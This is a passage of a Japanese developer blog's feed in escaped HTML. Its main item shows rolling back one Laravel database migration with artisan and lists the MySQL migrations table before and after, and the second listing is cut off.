&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;$nextTick&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// do modify
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Laravel: マイグレーション</title><link>https://hdknr.github.io/blogs/posts/2021/05/laravel-%E3%83%9E%E3%82%A4%E3%82%B0%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3/</link><pubDate>Mon, 17 May 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/05/laravel-%E3%83%9E%E3%82%A4%E3%82%B0%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3/</guid><description>&lt;h1 id="laravel-マイグレーション"&gt;Laravel マイグレーション&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.yuulinux.tokyo/18163/"&gt;Laravel マイグレーションを1つずつ戻す&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ php artisan migrate:rollback --step&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MySQL [mysite]&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;select&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;from&lt;/span&gt; migrations;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;----+--------------------------------------------------------------+-------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; id &lt;span style="color:#f92672"&gt;|&lt;/span&gt; migration &lt;span style="color:#f92672"&gt;|&lt;/span&gt; batch &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;----+--------------------------------------------------------------+-------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2014&lt;/span&gt;_10_12_000000_create_users_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2014&lt;/span&gt;_10_12_100000_create_password_resets_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt;_08_19_000000_create_failed_jobs_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt;_12_14_000001_create_personal_access_tokens_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_01_27_074301_create_sessions_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_03_055949_create_products_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_03_060047_create_news_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_08_024947_create_credit_cards_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_08_025236_create_licenses_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_08_060434_create_orders_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_18_124506_create_options_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_03_10_093455_update_string_fields_to_text &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;13&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_04_09_123358_add_users_deleted_at_field &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;14&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_04_09_123459_add_licenses_subscription_cancelled_fields &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;----+--------------------------------------------------------------+-------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;rows&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;002&lt;/span&gt; sec)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% php artisan migrate:rollback --step&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;**************************************
* Application In Production! *
**************************************
Do you really wish to run this command? (yes/no) [no]:
&amp;gt; yes
Rolling back: 2021_04_09_123459_add_licenses_subscription_cancelled_fields
Rolled back: 2021_04_09_123459_add_licenses_subscription_cancelled_fields (165.69ms)
&lt;/code&gt;&lt;/pre&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MySQL [mysite]&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;select&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;from&lt;/span&gt; migrations;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;----+-------------------------------------------------------+-------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; id &lt;span style="color:#f92672"&gt;|&lt;/span&gt; migration &lt;span style="color:#f92672"&gt;|&lt;/span&gt; batch &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;----+-------------------------------------------------------+-------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2014&lt;/span&gt;_10_12_000000_create_users_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2014&lt;/span&gt;_10_12_100000_create_password_resets_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt;_08_19_000000_create_failed_jobs_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt;_12_14_000001_create_personal_access_tokens_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_01_27_074301_create_sessions_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_03_055949_create_products_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_03_060047_create_news_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_08_024947_create_credit_cards_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_08_025236_create_licenses_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_08_060434_create_orders_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
